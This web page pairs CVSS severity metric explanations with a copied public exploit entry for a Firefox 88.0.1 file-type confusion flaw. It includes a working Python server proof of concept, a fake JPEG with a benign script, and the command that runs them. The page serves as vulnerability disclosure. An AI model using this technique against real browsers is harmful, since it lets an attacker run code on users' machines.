The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Mozilla Firefox 88.0.1 File Extension Execution
# Exploit Title: Mozilla Firefox 88.0.1 - File Extension Execution of Arbitrary Code
# Date: 20/05/2021
# Exploit Authors: Carlo Di Dato and Michael Caruso from BestEffort Team (https://besteffortteam.it)
# Vendor Homepage: https://www.mozilla.org
# Version: <= 88.0.1
# Tested on: Windows XP Professional SP3 32-bit, Windows 7 Professional SP1 64-bit, Windows 10 20H2 (build SO 19042.805)
# Blog: https://besteffortteam.it/mozilla-firefox-content-type-confusion-unsafe-code-execution/
A vulnerability has been identified in the way Mozilla Firefox handles downloaded files on Windows.
Unlike the other most used browsers (Google Chrome, Internet Explorer, Edge), the action Mozilla Firefox takes is based on the "Content-Type" attribute.
Let's consider a scenario in which a server responds to the client in this way:
Content-Type: audio/mpeg
Content-Disposition: attachment; filename="test.jpg"
What one would expect, is that Mozilla Firefox will handle the file as an image (.jpg) but it is not and the "open-with" window will ask the user to open a mp3 file.
By itself, this is not a problem (although we do not agree with the choice), however we have found that in a particular circumstance, it is possible to "confuse" Firefox using a combination of "Content-Type" attribute and file extension which leads to the arbitrary execution of code. Specifically, if a server responds with a "Content-Type: text/html" and a filename that has the extension ".jpg", Mozilla Firefox will show the end user an "open-with" mask, asking to open the jpg file with the default program (usually a browser), but will download the above mentioned file into the system's temporary folder using the extension ".html". Subsequently, the downloaded file will be opened using the default program for .html files (browsers). It is easy to understand that it is possible to create a fake image, containing JavaScript code, which will lead to the execution of the code itself.
As proof of concept, we used the following ready-made python web-server
(server.py):
try:
import http.server as BaseHTTPServer # Python 3.x
except ImportError:
import BaseHTTPServer # Python 2.x
import os
import shutil
import sys
FILEPATH = sys.argv[1] if sys.argv[1:] else __file__
class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
with open(FILEPATH, 'rb') as f:
self.send_response(200)
#self.send_header("Content-Type", 'text/html')
self.send_header("Content-Disposition", 'attachment;filename="{}"'.format(os.path.basename(FILEPATH)))
fs = os.fstat(f.fileno())
self.send_header("Content-Length", str(fs.st_size))
self.end_headers()
shutil.copyfileobj(f, self.wfile)
def test(HandlerClass=SimpleHTTPRequestHandler,
ServerClass=BaseHTTPServer.HTTPServer,
protocol="HTTP/1.0"):
if sys.argv[2:]:
port = int(sys.argv[2])
else:
port = 8000
server_address = ('', port)
HandlerClass.protocol_version = protocol
httpd = BaseHTTPServer.HTTPServer(server_address, HandlerClass)
sa = httpd.socket.getsockname()
print("Serving HTTP on {0[0]} port {0[1]} ... {1}".format(sa, FILEPATH))
httpd.serve_forever()
if __name__ == '__main__':
test()
a fake jpeg (test.jpg) containing the following code:
<script>
alert("D'oh! This is not a jpeg file!!!");
</script>
Then we ran the python script in this way: python server.py test.jpg
Once a user browse the malicious server, Mozilla Firefox will ask for opening the file and, if the user click confirms the operation, the file will be downloaded and executed.
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